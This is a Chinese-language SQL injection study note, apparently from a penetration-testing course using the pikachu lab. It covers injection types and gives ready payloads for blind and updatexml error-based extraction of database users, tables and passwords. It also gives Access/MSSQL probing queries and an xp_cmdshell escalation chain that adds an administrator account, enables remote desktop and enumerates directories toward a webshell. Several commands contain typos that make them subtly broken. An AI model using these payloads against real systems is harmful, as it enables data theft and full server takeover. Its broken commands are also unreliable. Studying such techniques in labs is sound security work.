1.1、自己描述一下sql注入原理
SQL注入指web应用程序对用户输入数据的合法性没有判断,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。
1.2、注入分为那几类
1.数字型注入
2.字符型注入
3.搜索型注入: select * from 表名 where 字段名 like '%对应值%' or 1=1;
4.xx型注入 : select * from 表名 where 字段=('xx') or 1=1;
1.3、注入提交方式
get 提交
pos提交
cookie提交
1.4、注入攻击类型
1.union注入、
2.insert/update注入、
3.delete注入、
4.http header注入
先在pikachu平台打开Http Header注入模块,点击提示查看登录帐号和密码,登陆后去BurpSuite中找到登陆地GET请求,把请求发送到Repeater模块中。在进行注入。
5.盲注:
盲注,即在SQL注入过程中,SQL语句执行选择后,选择的数据不能回显到前端,我们需要使用一些特殊的方法进行判断或尝试,这个过程称为盲注
(1)布尔盲注
在命令行输入语句select ascii(substr(database(),1,1))>xx;通过对比ascii码的长度,判断出数据库表名的第一个字符。
注:substr()函数
substr(string,start,length)
string(必需)规定要返回其中一部分的字符串。start(必需)规定在字符串的何处开始。length(可选)规定被返回字符串的长度。
(2)时间盲注
如果猜测真确,那么就会响应延迟几秒,如果错误会立刻返回错误。输入命令
**
vince' and if(substr(database(),1,1)='p',sleep(10),null)#**
(3)报错盲注
6.cookie注入
7.函数报错注入(updatexml,extractvalue,floor):
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,
第三个参数:new_value,String格式,替换查找到的符合条件的数据
eg:'or updatexml(1,concat(0x7e,(命令)),0) or'
1、爆数据库版本信息
k' and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1) #
2、爆数据库当前用户
k' and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)#
3、爆数据库
k' and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) #
4.爆表
k' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu'limit 0,1)),0)#
5、爆字段
获取字段名,输入:k' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users'limit 2,1)),0)#
6、爆字段内容
获取字段内容,输入:k' and updatexml(1,concat(0x7e,(select password from users limit 0,1)),0)#
8.宽字节注入、
9.二次注入、
10.偏移注入:
只针对access数据库,在只爆出表名,没有查出字段名的前提下使用。
11.information_schema 注入等
2、通过注入获取access帐号与密码
1.判断网站所用的数据库是access还是mssql。
Access存在系统表[msysobjects]
sqlserver存在系统表sysobjects
使用命令(待考证):
and( select count() from sysobjects) >0 mssql 数据库 **
and( select count() from msysobjects) >0 access 数据库
或者
and user >0 ;
观察报错,sqlserver报错是将nvarchar值'****'转换为数据类型为int的列时发生语法错误。
access报错是Microsoft OLE DB Provider Drivers ODBC Drivers 错误 ‘80040e21’
ODBC 驱动程序不支持所需的属性。
2.爆数据表名
使用命令:
and exists(select * from 数据库表名 )
或者
and (select count(*) from 数据库表名 )>=0
·如果不存在此数据库,报错。
例子
http://192.168.1.55:901/news_view.asp?id=14 and exists(select * from users)
3.猜测字段数目
利用order by猜解字段数目,查询语句如下。
order by n,返回错误页面,则字段数目是n-1.
4.猜测字段名
and exists(select 字段名 from 数据库表名 )
或者
and (select count(字段名) from 数据库表名 )>=0
如果存在此字段名,返回页面正常,否则可更换字段名继续进行猜测
5.猜测字段内容长度
and (select top 1 len(user_name) from administrator)>1//正常
报错则说明此字段长度为n.
6.猜测字段内容
and (select top 1 asc(mid(user_name,1,1)) from administrator)>0 //返回正常页面
说明ASCII值大于0 ,字段值应该为字母,如果是小于0那么说明是汉字,
and (select top 1 asc(mid(user_name,1,1)) from administrator)>97 //返回错误页面
说明administrator表中的user_name字段的第一位ASCII值为97
3、完成mssql sa dbowner权限获取系统权限或webshell
1.判断是否是mssql数据库
and exists (select * from sysobjects)
页面返回正常,则说明为MsSQL
2.根据返回信息判断
and @@version>0
可以得到数据库版本信息。如果页面出错,但未返回可利用的信息,则说明MsSQL关闭了错误信息提示,在猜解数据库内容时,就不能用爆库的方法了,只能使用union select联合查询或盲注入攻击方法。
and user>O //获取当前数据库用户名
and db_name>0 //获取当前数据库名称
3.判断注入点权限
and 1=(select IS_SRVROLEMEMBER('sysadmin'))
and 1=(select is_srvrolemember('db_owner'))
and 1=(select is_srvrolemember('public'))
如果上面的第一条查询返回正常页面,则说明当前数据库用户具有sa权限,可直接利用扩展存储进行攻击。
sa权限判断
1.检测与恢复扩展存储
(1)检测xp_cmdshell扩展存储过程是否被删除
and 1=(Select count() FROM master. dbo.sysobjects Where xtype ='X' AND name = 'xp_cmdshell')
检测xp_regread扩展存储过程是否被删除
and 1=(Select count() FROM master. dbo.sysobjects Where name = 'xp_regread')
(2).恢复扩展存储
:exec sp_configure 'show advanced options ',1;RECONFIGURE;
EXEC sp_configure 'xp_cmdshell';RECONFIGURE;
;exec sp_dropextendedproc xp_cmdshell,'xplog70.dll'
常用的扩展存储:
xp_cmdshell—利用此存储过程可以直接执行系统命令。
xp_regread—利用此存储过程可以进行注册表读取。
xp_regwrit一利用此存储过程可以写入注册表。
xp_dirtre一利用此存储过程可以进行列目录操作。
xp_enumds—利用此存储过程可以进行ODBC连接。
xp_loginconfig-利用此存储过程可以配置服务器安全模式信息。
xp_makecab一一利用此存储过程可以创建压缩卷。
xp_ntsec_enumdomains-利用此存储过程可以查看domain信息。
xp_terminate_jroces一利用此存储过程可以查看终端进程,给出一个进程PID.
2.添加管理员账号:
;exec master..xp_cmdshell 'net user test/add'
exec master..xp_cmdshell 'net locaigroup administrators test/add'
3.开启3389远程连接端口,
;exec master..xp_cmdshell 'sc config termservice start=auto'
;exec master..xp_cmdshell 'net start termservice'
;exec master..xp_cmdshell 'reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TerminalServer" /v fDenyTSConnections /t REG_DWORD /d 0x0 /f' //允许外部连接
dbowner权限
1.找出网站路径:
使用命令:
(1). ;drop table black;create table temp(dir nvarchar (255), depth varchar(255),files varchar(255),ID int NOT NULL IDENTITY (1,1));--
该语句可创建一个临时表,一共4个字段,前三个字段用于存放执行存储过程xp_dirtree返回的结果,ID字段则方便查询指定内容。
(2);insert into temp(dir,depth,files) exec master.dbo.xp_dirtree 'c:',1,1--
利用xp_dirtree扩展查询,将指定目录的文件和文件夹名称插入到临时表中,这里查询的是C盘目录路径。
(3). and (select dir from temp where id=1)>0
语句是查询临时表中的内容,也就是指定的目录文件和文件夹名
2.写入一句话木马获取webshell